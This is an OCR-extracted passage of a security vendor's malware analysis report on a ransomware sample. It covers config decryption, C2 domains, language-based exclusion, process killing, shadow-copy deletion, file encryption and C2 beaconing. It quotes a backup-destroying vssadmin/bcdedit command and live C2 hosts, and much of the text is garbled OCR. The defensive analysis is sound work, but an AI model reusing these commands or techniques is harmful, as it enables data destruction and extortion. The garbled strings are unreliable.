_ ¥
] e =
loc_481B42:
call sub_4828AF
Mo ds:41C2B4h, eax
call _Extensicn
Mo ds:41C288h, eax
call _UserName
mow ds:41C2B8h, eax
test eax, eax
jnz short loc_ 481873
A3 ABC24100 mov dword ptr ds:[41C2A8],eax eax:L". vOomee7rv"
ES &EZ230000 call payload_dl1z_xor_pe.403BCE
A3 BSCZ4100 mov dword ptr ds:[41C2B8],2ax eax: L".vomeerrv"
85C0 test eax,eax eax:L". vomeerrv"
« 75 OF jne payload_d172_xor_pe. 401873
A3 BSC24100 mov dword ptr ds:[41C2B8],eax eax:L"infm Limiim"
85C0 test eax,eax eax:L"inf .
75 0OF ine nawvlnad dA112 war ne_4N18732 |

Figure 5.5.2. Deciphering the file extension and username.

The computer name, the domain, the language, which it will check whether it is a language like
Russian, which we can see is FALSE, the version of the OS, disk space...

loc_481873: loc_4p81898: loc_ AB1EAD:

call _MachineName call _Domain call Language

mow ds:41C2BCh, eax Mo ds:41C2C8h, eax |mav ds:41C2C4h, eax

test 23X, eax test eax. Sax tect

jnz short loc 481898) (. _ ! -ES =ax, eax

i jnz short loc_4818AD| jnz short loc_ 4818CA

lea eax, [ebptvar_5@]
push eax
call Disk

imul Ech [ebp+var_5@], 1&h

A3 BCC24100 |mov dword ptr ds:[41C2BC],eax | easc: L™ paerm g - PC™
85C0 test eax,eax _ eax:L"] =P

A3 COC24100
BECO

mov dword ptF ds:f41c3t0],eax
test eax,eax

eax: L"WORKGROUP"™
eax: L"WORKGROUP"

[ R

A3 C4C24100

AN LY BAFLLAI AN AED s T L

mov dword ptr ds: [41C2C4] ,2ax eax:L"en-us"

550 test eax,eax eax:L"en-us"
—— L
OF44CA cmove ecx,edx |ecx:L"true“, edx:L"false"
c1 push ecx ecx:L"true”
.......... e e ¢ 8 e 8
A3 CCC24100 mov dword ptr ds:[41C2CC],eax eax:L"windows 7 Professional”
85CO test eax,eax eax:L"windows 7 Professional™
. TC nC Ama mawvlnad AT713 war na 404 Gnc

Figure 5.5.3. Sample of several deciphered strings.
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As a final part of this function, we can see the elements of the whole txt that will be placed in every

folder, with the name info.txt and with instructions to recover encrypted files.

This ransomware hides encrypted Json content in one of its sections. In this sample, the section is

called “.grr”.

We can see an alphanumeric string in the first 32 bytes, which corresponds to the encryption key.

< panda

FQAAAFO

eM2XeMER N2ZmC

Wpo&5 TkwY28gJOXHoe4Xtes1M=

aAX037Maro

Figure 5.5.4. Txt file.

ABAAAAAARAAANNNANNDANNBNBNAN=""

Name Virtual Size Virtual Address | Raw Size Raw Address Reloc Address | Linenumbers
00000240 00000248 0000024 00000250 00000254 00000258 0000025
Byte[8] Dword Dwerd Dword Dwerd Dword Dword
text 00009974 00001000 00D09ADD 00000400 00000000 00000000
rdata 0DOOFTED 00DOB00D 0DOOF200 00DO9ECD 00000000 00000000
.data 00001330 0DO1BO0D 00001200 00019600 00000000 00000000
.grrr 0000CE00 00010000 0000CE00 0001A800 00000000 00000000
Jreloc 00000s0C 00024000 0DO0DE0D 00027000 00000000 00000000
£

e = ™ P E
Of f=et o1 2 3 4 5 6 7 B8 9 A B C D EF Azcii
ooooooon | 73 68 42 4B 72 34 78 48 44 4D EE 78 52 4B 55 BB =hBEr4=zHIHk=REKUk
oooooolo | 41 77 Y1 75 68 42 72 BB 63 36 48 57 62 66 34 6D AwquhBrEceHWbE 4m
o00000z0 | 2E F3 A9 26 FO 54 00 00 48 FF BE 7D 61 61 BA 17 Lo@EAT . HE L aato
0o0ooo3o | 10 42 FS 10 1B 00 92 D7 C2 FB GE 20 D4 89 2E 7E | 0HE0O . pxdal . Op.~
oooooo4o0 | 88 De EB 97 42 32 89 FF DO 94 36 63 9D 71 SE B4 10E21B21%P16c g’
oooooos0 | 57 61 86 42 B8 EF A0 58 EB7 69 6F A3 0D 8F 33 C1 WalB,i ¥.-iocf. 34
00000060 | OF 3E 03 Bi DS 3E CD EC D2 90 60 FD 44 3B 94 OF |0.0e8:1i0 Tyd 10
oooooo?o | B3 13 7D 60 eC 1D BC 44 F8 93 BF E3 CC BB A8 92 1l Hlel 3.
ooooooso | 23 C5 32 38 C2 46 B2 25 A4 FB AE 43 EF 5EC 6C B3 #E2AF 1 yHaEBCTIN]
ooooooso | 1E 64 02 87 9B DA 29 47 67 C3 ZE BD 75 EE 99 03 d 117)Ggd kuio

a WatchGuard brand

Figure 5.5.5. Contents of the .grr section.
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The following 4 bytes after the key are to check that the contents have not been modified. Then, the
following 2 bytes indicate the size of the contents, and the rest are part of the content itself.

int sub_4819D3()

{

int result; // ea»
int vl; // esi

[V TR

o

if ({ sub_484F24(8, &I50N_Content, JIS0N_Length) !'= J150N_Check )
return @;

8| result = sub_48352C(J50N_Length);

g - 1t

]

18| i t )

11| {

12 sub_485eDA(&ISON_Key, 32, &JIS0N_Content, JSON_Length, result);
13 ~esyult = vl;

14| 3}

15| return result;

Figure 5.5.8. Checking the Json parameters.

As you can see, it stores the Json. After obtaining the deciphered contents, we can see that it contains
several fields with different values assigned.

"pk”: "GadtWz2QBTacskL+55Wpob5TkwY28gq]0xHoedXte81M="",
"pid”: "18",
"sub": "7"

"dbg" :
“"fast":
"wipe™:
"wht": {

Figure 5.5.9. Values assigned to the Json.

These values correspond to the ransomware configuration. In other words, the malware will consult
these fields to know what operations it can carry out, what files or directories it should carry out
operations on, what processes it can act on...

"wfld™: [
“backup™
"mysql.exe”
1,
"dmn”: "lyricalduniya.com;theboardroomafrica.com;chris-anne.com;
"net": true,
“nbody™: "SABlAGwWAbABVACAA7ABIAGEAcgAgAGYAcgBpAGUAbgBkACEADQAK
"nname™: "{EXT}.info.txt
"exp”: false,
"img": "WQBvAHUAcgAgAGYAaQBsAGUACWASAGEAcgBIACAAZQBuAGMAcgB5AH!

¥

Figure 5.5.10: Values assigned to the Json.

We can see that in the “nname” field, we have {EXT}.info.txt. {EXT} will be replaced by the random
string generated during execution.
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Below, you can see a table with the definition of each of the Json fields.

e e

pk Attacker’ s public key, obfuscated in Base64

pid Identifier for sending data to C2 servers. Only used if the “net” field is set to “true”.
sub Identifier for sending data to C2 servers. Only used if the “net” field is set to “true”.
dbg Value used by the malware author. Is referred to when trying to determine if the vic-

tim is Russian.

fast Value that determines how files bigger than 65535 should be encrypted.

. Value that determines whether the ransomware should delete directories specified
Wlpe H 13 ”» .
in the “wfld” field.

List of values that must not be encrypted.
ext - Extensions

wht fld - Directories
fls - Files
wfld Exclusion list for files to delete if the “wipe” field contains the value “true”.
prc Exclusion list for processes to terminate if they are running.
dmn List of C2 servers the ransomware can contact.
net Value that determines if the ransomware should send basic host and malware infor-
mation to the C2 servers.
nbod Text note obfuscated in Base64, which will be dropped in directories when the files
y are encrypted.
nname Name of file that will contain the note defined in the filed “nbody”.
ox Value that determines if the ransomware needs to escalate privileges by exploiting
P the LPE vulnerability.
img Text obfuscated in Base64 containing the background image that will be set during

encryption.

5.6. List of excluded languages

For the keyboard, we can see that it uses a list of exclusions. It obtains a list with the identifiers for the
keyboard layouts using GetKeyboardLayoutList, where it will go through the languages to check that
they are allowed. To do this, it carries out a switch with all the languages, which will be used later for
the txt.
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switch ( al )

{
case @x18: Rumano
2= B case 8x19: Ruso
vl = GetkeyboardLayoutList(B, @) case @x22: Ucraniano
/2 = vl: case 8x23: Bielorruso
if ( vl ) case 8x25: FEstonio
return a; case Bx26: Letdn
v3 = (HKL *)sub_48352C(4 * vl1}; case @x27: Lituano
4 = (int)v3; case @x28: Tajiki Persa
if ( Tv3 ) case @x29: Persa ]
return @; case @x2B: Annemo
if { !GetKeybeardlLayoutList(vz, v3) || v2 <= @ ) z:z: g:;g: giiﬁggifo
case Bx3F: Kazajo
LABEL_7: case @wdd: Kirguis
LIBERA HEAP(v4); case 8x42: Turcomano
return 8; case @x43: Uzbeko
case @x44: Tirtaro
while { !LangExcFunc({*{_WORD *)(vi + 4 * vB)) ) result = 13
break;
if (4400 >= v2 ) default:
goto LABEL_7; result = @;
} break;
return 1; ¥ .
return result;
' }

Figure 5.6.1: Obtaining the exclusion list for languages.

If one of the list items coincides with one that we can see in the above image, the malware stops
executing. This makes those victims with any of the observed keyboard layouts immune to the attack.

5.7. List of processes to terminate

In this case, we see that it takes a “photo” of the processes that are running on the system. It will

go through them and compare them with processes specified in the “prc” field on the JSON. If they
coincide, they are terminated. In our case, as we have seen in the previous point, we would only have
mysql.exe.

gl.exe”

"lyricalduniya.com;theboardroomafrica.com;chris-anne.com;

ZAB1AGEAcgAg

a;
CreateToDlhelp32Snapshot(2u, a);
/4 == (HANDLE)-1 )
return @;
/7 .dwsize = 556;
for ( 1 = Process32FirstW(v4, &v7); i; 1 = Process32NextW(ve, &v7) )

{
3 = a3(a2, &v7);
i (3 )
{
if ( al )
break;
}

CIERRA_HANDLE(v4);

|

if

2C| 02 00 OO|0O0D OO OO0 OO(FE O2 OO0 OOD(0O0 OO0 OO0 OO (f....... X
o0 00 OO OO|0A OO OO OO(ES O1 OO OOD(OB OO0 OO0 OO ........ .
00 00 OO 00| FZ3 00 76 00683 00 658 00(gF 00 73 00 SaVLC
74 00 2E 00| g5 Z8 0065 OO0 OO QOO0 OO OO OO0 t .B.X. B

I A L G L L T B
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2C| 02 00 00|00 OO OO OO|B4 02 O0 OO(00 OO0 OO0 OO0 (G- r annnnn-
oo 00 0O OO0|O0D OO OO OO|EB O1 OO OO|(O8 OO0 OO OO0 ........ Boviunn
00 00 00 O0|Zg Q0 g2 O0|GF 00 78 00(73 00 5 00f....v.b.0.x.
Z Fi 22 00 g2 00|65 00 2E 0O Fi i.c.e...
65 00 0O OO|00 OO OO OO|0D OO OO0 OO(00 OO0 OD OO | .. .. iannnnnns

Figura 5.7.1: Obtencion de la Lista de Procesos.

5.8. Deleting ShadowCopies

Having reached this point, it will carry out a function, renamed to _DeleteShadow.

loc_4@2B22:

push offset sub_482443
push edi

push edi

call _SnapshotBlacklisted
add esp, @Ch

call _DeleteShadow

cmp ds:41C31Ch, edi

jz short loc_482B43

Figure 5.8.1. Sample of the function renamed _DeleteShadow.
Here you can see how it deobfuscates interesting strings, which it will execute later on.

The most important string, already known in this ransomware family, is vssadmin.exe, which deletes
system backups. This way, the victim cannot go back to a previous version of the operating system,
and the attacker ensures that they have to pay.

gg;S:D25|99;EFDFé |L“j5 v;sqggjn.exe De];tg_gbgduws SA11 fquiet & bodedit fset {default} r

“0018FDEO 0018FDFC L” /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bededit /
set {default} bootstatuspolicy ignoreallfailures”

Jf ocmd.exe

sodin_decrypt string((int)&unk 41B533, 1433, 18, 14, (int)
vd = B3
ff Jfc vssadmin.exe Delete Shadows /All fQuiet &

!/ becdedit fset {default} recoveryenabled No &

/{ bcdedit fset {default} bootstatuspolicy ignoreallfailur
sodin_decrypt_string({(int)&unk 41B833, 1128, 18, 292, (int
/5.cbsize = 6@8;

= @3

TMask = @;

.hwnd = GetForegroundWindow();

.1pFile = (LPCWSTR)w3;

JApverb = 8;

.1pDirectory = @8;

.nshow = 8;

hInstipp = 8;

.1pIDList = @;

A1pClass = 8;
hkeyClass = @&;

.dwHotKey = 8;

hIcon = @;

hProcess = @;

.1pParameters = (LPCWSTR)wv1;

L5 T T N O O O I W I L )

o -
(=]

sult = ShellExecuteExW(&vS);
Figure 5.8.2. Deobfuscating the command to delete ShadowCopies.
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We can see that it carries out a GetForegroundWindow. It gives priority to the window that is running at
that moment. Having carried out a new OpenProcess in explorer.exe that has enough permissions, it runs
ShellExecute as explorer.exe.

Xor esi, esi

mow [ebpt+var_58], ax
mowv [ebpt+var_38], esi
call GetForegroundWindow

Figure 5.8.3. Shows the functio;l CetForegroundWindow.

Plt will then launch the command that we have seen above.

lea eax, [ebpt+var_3C]

push eax

call ShellExecuteExh

test eax, eax

jz short loc_4837@3
—

Figure 5.8.4. ShellExecute.

5.9. Emptying folders

This function that goes though the folders on our system, emptying them to later launch the .txt,
leaving only encrypted files and a .txt with instructions in the folders. It will then begin encryption.
This function goes though the directories and compares them with those specified in the wfld field of
the Json. If they coincide, they are deleted.

“wfld": [
“backup”

call _SnapshotProc
add esp, @8Ch

call _DeleteShadow
cmp ds:41C31Ch, edi

jz short loc_482B43

§ ] |

P

call _WipeFolders
X

5.9.1: Function for emptying folders.
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5.10. Encryption

The encryption consists of four parts:

bl e

Queue with CompletionlOPort
Preparation of Keys
Encryption of files (Salsa20)

Release of file, key written at the end of file and renamed.

Cifrado

Crea estructura de lista
. CompletionlOPort para

los ficheros

Genera las
fic
ublicas/

Key tanto para el

0 como las

P vadas que utiliza,

usando AES + Curva

Recoge Handle del fichero a

cifrar
Introduce en memaoria ‘ ) Recorre Dirs y SubDirs
l——— contenido del fichero Obt\eneudn d|sc.o:n el droppeando TXT
i outine que pueda acceder
TXTy CipherRoutine rescate Introduce los datos en la
10CompletionPort
Cuando vaya a cifrar el fichero,
hara un CallPost a la lista, llamara
EnumeraDisco Cifralnidad CipherRoutine - . . e
CompletionTurineStub y cifrara
fichero con 5alsa20

Metera KeyPublica (nica del
“—— fichero al final tras el cifrado,
soltara el fichero y lo renombrara

5.10.1: Diagram of encryption routine.

This ransomware uses several strings at all times to carry out its tasks, streamlining encryption.

Firstly, before beginning the encryption process, it adds CompletionRoutineStub to the stack, which is
the routine containing calls to encryption functions.

push ebp

mov ebp, esp

sub esp, 3Ch

lea eax, [ebpt+var_C]
push esi

xor esi, esi

push offset CompletionRoutineStub

5.10.2: Sample of the function that adds CompletionRoutineStub to the stack.

Once added, a queue structure is created with CreatelOCompletionPort. This queue allows it to
manage the file handles that are needed for the encryption. For this it receives the number of strings,
the key, and the handle. It then introduces the structure into a string.

loc_4@5883: 3 NumberOfConcurrentThreads
push [ebptiumberOfConcurrentThreads)

push a 3 Completionkey

push @ ; ExistingCompletionPort
push @FFFFFFFFh ; FileHandle

call CreateloCompletionPort

5.10.3: Sample of the function that creates the structure for the I0OCompletionPorts.

< panda

a WatchGuard brand

40

pandasecurity.com/es/business/



Once added, it introduces the ransom file data in memory (CreateRescueFile) and the encryption
routine (CipherRoutine). It then goes through the disks on the system. This is done with the function
renamed EnumeraDisco, until it finds a valid one to begin encryption. This routine will go through the
directories and will chose them to leave the ransom txt file in these folders and subfolders.

mav [ebptvar_14], offset CreateRescueFile
mow [ebptvar_18], offset CipherRoutine ; quequee routine
call EnumerabDisco
lea eax, [ebptvar_3C)
push esi
push eax
call EnumeraRed
[l QIR T ERT ) - wn ~n |.ll.l:lll ~n
A4 A5CES - 5F pop edi
B4 B5CEG .~ EB 23 gmp payload d112 xor_pe.485DBB
> pFF 15 C4 B6 41 88 rcall dword ptr ds:[<&GetDriveTypel]
| ABL4BSCEE - |83 CA FE add eax,FFFFFFFE
I AL ASCF1 . |83 F8 @82 cmp eax,2
T BALBSCF L | FF BB d4 payload_dl112_ xor_pe. 485D 81
||| BOL4BSCF G . | FF 75 o8 push dword pty ss:i[ebp+8]
I AO4B5CF9 || . | 56 push esi M
I ! A4 BSCFA - |E8 75 FC FF FF call <payload_dl12_ zor_pe.sub_LB5974: —
R BO4BSCFF || . | 59 pPoOp ecx
] ! goLaspoa .| 59 pop ecx
| | ~---+®@@pupspa1 ||> | 66 FF 46 B8 inc word ptr ds:[esi+8]
I peues0es || . | 33 co ®0r pax,eax
I aaLesD a7 . |66 89 46 BE mov word ptr ds:[esi+E],ax
| ———®Pouaspee || > | 56 push esi
| AALA5D BC . | 66 39 7FE B8 cmp word ptr ds:[esi+8],di
L————gjaauaspia =76 D6 Ljbe payload dl12 xor pe.485CES8
BaLasD12 . E8 62 D8 FF FF call <payload_dl12_ xXor_pe.sub_ 463579
paL4BSD17 . 59 pop ecx
&66:FF46 0B inc word ptr ds:[esi+&] esi+8:L"C
33C0 Xor ed4dx,eax
66158946 0OE mov word ptr ds:[esi+E],ax
push esi esi:L” AR
cmp word ptr ds:[esi+&8],di esi+8:L"C

jbe payload_dl112_xor_pe.405CES

5.10.4: Sample of the function to enumerate disks and directories.

It generates the encryption extension, which it will use to rename the encrypted files. As you can

see, it collects the parameter
_FindFile to do this.

call
mov
push
mov
call
pop
pop
lea
push
push
call
mov
cmp
jz

5.10.5: Sample of the function to change file extension.

< panda
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sub_4848E3

[esp+278h+var_278], offset asc_48B248 ;

esi
[ebptvar_14], eax
add_extension

ecx
ecx

eax, [ebpt+var_268]

eax i _DWORD
esi ; _DWORD
FindFile

fehp+ar‘g_4]J eax
eax, @FFFFFFFFh
loc_485B37

, which means that it will collect all possible files, using the function
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Before encryption, as mention above, it goes though the unit and all directories, copying from the
memory all the information that it has already stored in the TXT. It will write it on each of the folders

and subfolders.

[ o e |

| 15225.0nfo bt

ES8 1C230000 call payload_dl112_xor_pe. 404834
FF35 AOC24100 push dword ptr ds:[41C2A0] 0041C2A0: &L"15225 . info. txt"
1 push esi esi i LWV PANC WPy thon2 7/
ES 4C220000 call payload_dll12_xor_pe. 404776

5.10.6: Sample of writing of encrypted file on execution.

Once it has all the folders with all the txts, it will enter the encryption routine, which contains functions
like the one that generates the keys. Before generating the keys, it will check if the file extension is
valid for encryption from among those in the Json settings file. Firstly, it will check that the size of the
file to encrypt is less than 1048576 bytes.

"wht": {

"fld™: [
"appdata”,"google”, "msocache”,"mozilla", "program files","windows","perflogs”,
"application data”,"windows.old","system volume information”,"program files (x86)"
"$windows.~ws","intel”, "$recycle.bin”, "$windows.~bt", "programdata™, "boot","tor browser"

"ntuser.dat.log", "bootsect.bak”,"ntuser.dat”,"iconcache.db”,"ntldr",
"autorun.inf”,"boot.ini","bootfont.bin", "desktop.ini", "thumbs.db","ntuser.ini”

5.10.7: Sample of the extensions, directories, and files that shouldn’ t be encrypted.

< panda
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arg_8= qword ptr 18h
push ebp
mowv ebp, esp
cmp dword ptr [ebptarg_8+4], @
push ebx
push esi
push edi
mow edi, 1848576
jig short loc_4825FD
Y
[l i =]
jl short loc_4825FA ; tamafic archive
[l e 5=
cmp dword ptr [ebptarg 8], edi
jnb short loc_4825FD
Yy
[l s =
loc_4@25FA: ; tamafioc archive
mowv edi, dword ptr [ebp+arg 8]

31’:1

5.10.8: Sample of the function to check the file size.
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If it is, it creates a file handle indicating the value (48000000h) in the parameter dwDesiredAcces. This
value is indicative of two attributes. The first corresponds to FILE_FLAG_OVERLAPPED (0x40000000),
which indicates that the file will be treated asynchronously. This way the file buffer will be added to
the queue created by the I0OCompletionPorts, where its contents will be encrypted. The second value
(0x08000000) corresponds to FILE_FLAG_SEQUENTIAL_SCAN, which indicates the access to the file will
be sequential from start to end.

The ransomware will then generate a unique key for each file. The keys are generated using AES and
elliptical Curve. It will generate Private/Public keys for both affiliate and developer. It will generate
another pair of keys for the user. The user’ s private key will be encrypted the affiliate public key with
AES. The user’ s private key is again encrypted, but this time with the developer’ s public key. The
user’ s private key is deleted from the memory, and the 2 affiliate and developer public keys are saved.
The user’ s public key will also remain.

When encrypting a file, it will generate another pair of unique keys per file. Of these, only the private
key will be used. This key is used to generate a SharedKey using the user public key. It will carry out a
SHA3 for the SharedKey and will encrypt the file. It will then save the PubKey of the file and the end
when everything is encrypted.

It will then call the CompletionRoutineStub routine that was previously added to the stack. This
routine will use the CompletionlOPorts to encrypt by creating different strings, in which each file
to be encrypted will be introduced in different threads using a POST method. This means there is a
global string where there will be a structure with the file information. Several strings with different
file queues to encrypt will be created, meaning that, at all times, we’ [l see how files are introduced
asynchronously into stings on the one hand, and what they are called, and how they are encrypted
and closed on the other hand.

CallPostQueuedCompletionStatus proc near

arg_@= dword ptr &8
dwNumberOfBytesTransferred= dword ptr ©Ch
dwCompleticnkKey= dword ptr 18h
lpoverlapped= dword ptr 14h

push ebp

mow ebp, esp

push [ebp+lpOverlapped] ; lpOverlapped
mov eax, [ebptarg_®]

push [ebp+dwCompletionkey] ; dwCompletionkKey

push [ebp+dwNumberOfBytesTransferred] ; dwNumberOfBytesTransferred
push dword ptr [eax+4] ; CompletionPort

call PostQueuedCompletionStatus

5.10.9: Sample of the function to execute the encryption function via CompletionlOPorts.
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Once it has the file in the queue, it will call it and encrypt it with Salsa20.

if (54)
{_
17 = a3 - {_DWORD)v14;
15 = a2 - (_DWORD}vil4;
while ( 1 )
1
vE = B;
salsa2® wordtobyte((int *)v14, (const wveoid *)al);
7 = (*(_DWORD *)(al + 32))++ == -1;
if ( w7 )

++*(_DWORD *)(al + 36);
if ( w4 <= ax48 )
break;

-
Wi L e

WS a;

do

1
vle = &vld[va++];
v18[v17] = *vié ~ vie[va];

b

while ([ v2 < 64 );

i -= Bd;

/17 += B4;

vS = ai + 64;

a2 += Bd;

/15 += B4

a3 += 64;

if (va )

F
3
[TI]
)
1
—
2 2
ZE
)
=]
P
s
P
b

while ( ve < w4 );
1
5.10.10: Pseudo-code of the encryption algorithm.

Finally, as we have discussed above, it introduces the file’ s PubKey (unique for each file) at the end of
all of them. It will release the file and finally modify its extension.
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5.11. Bitmap

The function to prepare the bitmap that it sets as the computer’ s background creates a compatible
bitmap. Itis created by choosing sources, pixels etc. It is constructed using a loop, adding characters

and the final sentence that will send us to the ransom note.

Your Tiles are encrypted! Open

if ( result
r2 = CreateCompatibleDC(result);
v29 = w2;
if ( w2 )
v3 = GetDeviceCaps(vl, 8);
vid = v3;
v27 = v3;
viB = 18;
vE = GetDeviceCaps(vl, 18);
w32 = v5;
vE = CreateCompatibleBitmap(vl, w4, w5);
VIR = 1=
Ved = Wi,
if ( ve )
SelectObject(v2, vE);
v7 = GetDeviceCaps(vl, 98);
vE8 = MulDiwv(18, v7, 72);
I E —_ vl e
Ve = —Vojy
vd = CreateFontW(-v2, @, @, @, @, @, @, @, lu, @, @, 4u, @, 8);
v24 = vOj
®| 00403463 2B4D EO sub ecx,dword ptr ss:[lebp-zof
e | 00403466 S0 push eax
o[ 00403467 BA FF push FFEFFFEF
®| 00403469 FF35 A4C24100 push dword ptr ds:[41C2A4] 0041C2A4: &L"
e | 00403 46F 834D DO mov dword ptr ss:|febp-30f,ecx
| 00403472 S& push esi
# | 00402473 FF15 74E74100 €dll dword ptr ds:[<8DrawTexth:=]
®| 00403479 E8_3BFDFFFF call qqy'luad_d'l'lz_xur‘_pe.403139

0041C2A4: &L "Your Tiles are encrypted! Open ed4cgqobwSo.

info.txt!™

e e | M | e e e e rw s s we | s e e | eme e
01EAGE40| 00 00 OO0 00|00 00 00 OO[(EC 5C 27 49|38 00 00 1A|........ INTFIS. ..
01EAGBSO IS8 00 &F OO|75 00 72 00|20 00 &6 00|69 OO0 &C OO|H.o.u.r. .T.i.1.
D1EAGEGD| 65 00 73 00|20 00 &1 00|72 00 &5 00|20 OO0 &5 OO|e.s5. .d.r.e. .e.
01EAGEFO| 6E 00 &3 00|Z i 70D 00 74 00|65 00 &4 00|n.c.r.y.p.t.e.d.
01EAGESD|21 00 20 0O(4F 00 70 0OO(6&5 OO0 &E 00|20 OO0 &5 OO|!. .0.p.e.n. .e.
D1EAGESD| 34 00 &3 00|71 00 &F 0O0|E2 OO0 7& 00|35 00 &F O0|4.c.qQ.0.b.v.5.0.
Q1EAGBAD| 2E 00 &9 OO|GE 00 &6 OD(6F OO0 2E 00|74 Q0 78 00| ..i.n.T.o...T.X.
D1EAGEED |74 00 21 00|00 00 AE AB|AE AE AB AB|AE AB EE FE|T.!...zesgcacaip
O1EAGECO| 00 00 OO0 00|00 00 00 00[A6 5C 24 00|20 00 00 OO| ........ %4, ...

eax:L"C:\\Users\' J\AppData\\Local\\Temp\\zaoi6&xao08r.bmp"

ecx:L"zaoi6exao08r. bmp"”

eax:L"C:\\Users\\ = A\\AppData\\Local\\Temp'\\zaoi6xao08r . bmp"

Figure 5.11.1. Creation of bitmap.
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It will perform a GetObject to obtain the data from the .bmp that has been created, and will place itin
the path seen above, creating the object with CreateFileW and WriteFile

pop esi
push esi
push [ebpt+arg_e]
call GetObjecth

test eax, eax
jz loc_4831B4
push esi
push dword ptr ss:[[ebp+sj
€dll dword ptr ds:[<&GetObjectw>)
test 2ax, aax sax:L"C: Users AppData Local Temp Z a016xac08r . bmp
je payload_d112_xor_pe.4031E4
push BCaa8E688h push eax
push [ebptarg_8] push esi
call CreateFilew push edi
mov edi, eax call WriteFile
cmp edi, BFFFFFFFFh|test 2ax, 2ax
jz loc 483162 jnz short loc_483187
push edi
push C0000000
push dword ptr ss:|lebp+10] [ebp+10]:L"C: Users AppData‘\‘\Local\\Temp'\zaoi6xaoc08r.bmp
call (3'._\‘ord ptr ds:[<&CreateFilews)

& zacibxacl8r.bmp

Figure 5.11.2. Obtaining the path.

The end result will be seeing a background like this on our desktop, telling us to read the informative
txt that has already been dropped in all possible folders on our computer.

Your files are encrypted! Open edcqobvbo.info.tx!

Figure 5.11.3. Sample of desktop with bitmap.
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5.12. Connection to C2 server

Once it has changed the background, it will try to make connections to C2 servers. Its main aim will be
to send information about the victim to these servers. We can see that it introduces the addresses of
all the servers that we have previously seen on the loaded Json.

push offset sub 482497
push edi
push 3Eh
push dword ptr ds:41C298h
call _C25ervers
add esp, 1Bh
O1ESC7CE QL Q0 79 0QD|72 00 &9 00|63 00 61 0OO(6C 00 &4 OO|M.v.r.i.c.a.1.d.
OD1ESCFDE (75 00 &E 00 L 63 00 6F OO|U.N.7.¥.2...C.0.
O1ESC7ES| 6D 00 2B 00|74 00 &8 00|65 OO0 &2 OO|6F OO0 &1 OO|m.;.T.h.e.b.o.a.
O1ESCFF8| 72 00 &4 00|72 00 &F OO|6F OO0 &D 00|61 OO0 &6 O0O|r.d.r.0.o0.m.a.T.
O1ESCB808 |72 00 &9 00|63 00 &1 OO|2E OO &2 0O|6F OO0 &D OO|r.i.Cc.d...C.0.M.
O1ESC818 (3B OO0 &3 00|68 00 72 00|69 OO0 73 OO0(2D OO &1 OO0|;.c.h.r.i.s.-.a.
O1E®828(6E OO0 &E 00|g5 00 2E OQOO(6&3 OO0 &F 00|60 OO0 3B OO(N.N.Ba. .. CaD.Ma;.
O1ESC838(gF Q0 F7 QO|&E 00 &9 00|64 00 &5 00 ri o.w.n.i.d.e.n.t.
O1ESC 848 i L 63 00 &F 0OO|6D OO0 3B OO(i.t.y...C.0.m.;.
Nn4cCo—oCc o TT W £C malc?» e 20 vl 28 My 20 mml2c o 22 Mmilw a h 0 £ C —
Figure 5.12.1. List of C2 servers.
Once inside, it loads the URLs in memory.
0 +8EDT mov edx,adi T
0 66:85DB test bx,bx
0 ~| 74 1B je payload_dl12_xor_pe. 404AZ0
0 OFET30 movzx esi,word ptr ds:[eax]
0 5975 DB mov dword ptr ss:[febp+2Q,esi
EBF3 mov esi,ebx
66:3B75 08 cmp si,word ptr ss:|[Jebp+:]
~| 74 OB je payload_dl112_xor_pe.404A1E
53C2 02 add edx,z
OFBT732 movzx esi,word ptr ds:[edx]
66:85F6 test si,s1
~| 75 EF jne payload_dl112_xor_pe. 404A0D
33F6 xor esi,esi
6613932 cmp word ptr ds:[edx],si
~| 75 0A jne payload_dl112_xor_pe. 404A2F
83C0 02 add eax, 2
6613930 cmp word ptr ds:[eax],si
~L75 D1 inelipavload_dl112_xor_pe. 4049FE
D1E9C7F8|F2 00 &4 00|72 OO &F 0OO|&6F 00O &0 0OO|61 OO0 &6 OO|F.d.r.o.o.m.a.T.
D1ESCB08 |72 00 &9 00|63 OO0 &1 0OO(2E OO0 &3 OO|6F OO 6D OO|r.i.cCc.d...C.0.M.
0O1ESCS18| 3B 00 &3 00|68 00 72 00|69 00 73 00|2D OO0 &1 OO|;.Cc.h.r.1.5.-.4.
O1ESC828|6E 00 &E O0O(gS Q0 2E Q0|63 00 &F 00|60 OO0 2B 00| N.N.8...C. 0 M.} .
D1E9CS3I8|gF 00 77 QO(6&E OO0 &9 00|64 00 &5 00|GE OO0 74 QO|O.w.n.i.d.e.n.t.
D1E9CSES48|89 00 74 Q0|79 D0 ZE QQD(&3 00 &F OO|6D OO0 3B OO|i.t.w...C.0.m.;.
D1EC858 |77 00 &5 0O0(&2 OO0 38 00|36 00 35 0OD|2E OO0 63 00|w.e.b.8.6.5...C.
0O1ESCS868|6F 00 &0 0O0O(3B OO0 7O 00|61 00 72 00|61 OO0 &4 O0O0|O.m.;.p.d.r.d.d.
D1ECB878|69 00 &7 O0(6D OO0 &C 00|61 OO &E OO|64 OO 73 0O|i.g.m.1.a.n.d.s.
O01E®C888| 63 00 61 00|70 OO0 &5 0OO|2E 00 &3 0O0|6F 00 6D O0|cC.d.p.€...C.0.M.
Figure 5.12.2. List of URLs loaded in memory.

It generates the paths for the URLs using a loop. We’ ll see extensions like .jpg or .png, which will be the
encrypted information about the victim.
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esi:L
eax:L"mrkluttz.

esi:L

mrkluttz.

"mrkluttz.

W Lm0 g e

com™
com™

com™

, eax:L"mrkluttz.com"

eax:L"https: //mrkluttz. com/static/tmp/ /hyyTmg. jpg"

ecx:L"jpg"

Figure 5.12.3. URLs and information about the encrypted computer.
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We then see how it sends the contents of the previously generated .txt and how one of the URLs from
the list has been added, which will be the target for sending all the data.

0041C290: &L"10"
0041C298: &L "Tyricalduniya. com™

0041C2A0: &L "ed4cqobvso. info. txt™

0041C2A4: &L "yYour Tiles are encrypted! Open e4cqobvSo.info.txt!™
0041C2A8: &L". e4cqobvso”

[ebp-40]:L"nauticmarine.dk™

0041C2AC: &L "Gadtwz 2Q0BTacskL+55Wp065 TkwYZ 8q10xHoed4Xtesim="
0041CZE0: &L "EB682A4TBOI3AG50"

0041C2E4: &L "0TW1 /WEW0COGMI3E,/6CAFS3,//sLvUI] T umaHGYzZ Frybuuj /by svwwc IvkX4y10pm] /2CNU+VN3I 15 vyPCZdsPUW
0041CZE8: &L "inTectado™

0041C2EC: &L "INFECTADO-PC™

[ebp-2C]:L"1yricalduniya.com"

0041C2C0: &L "WORKGROUP "

0041C2C4: &L "en-us"
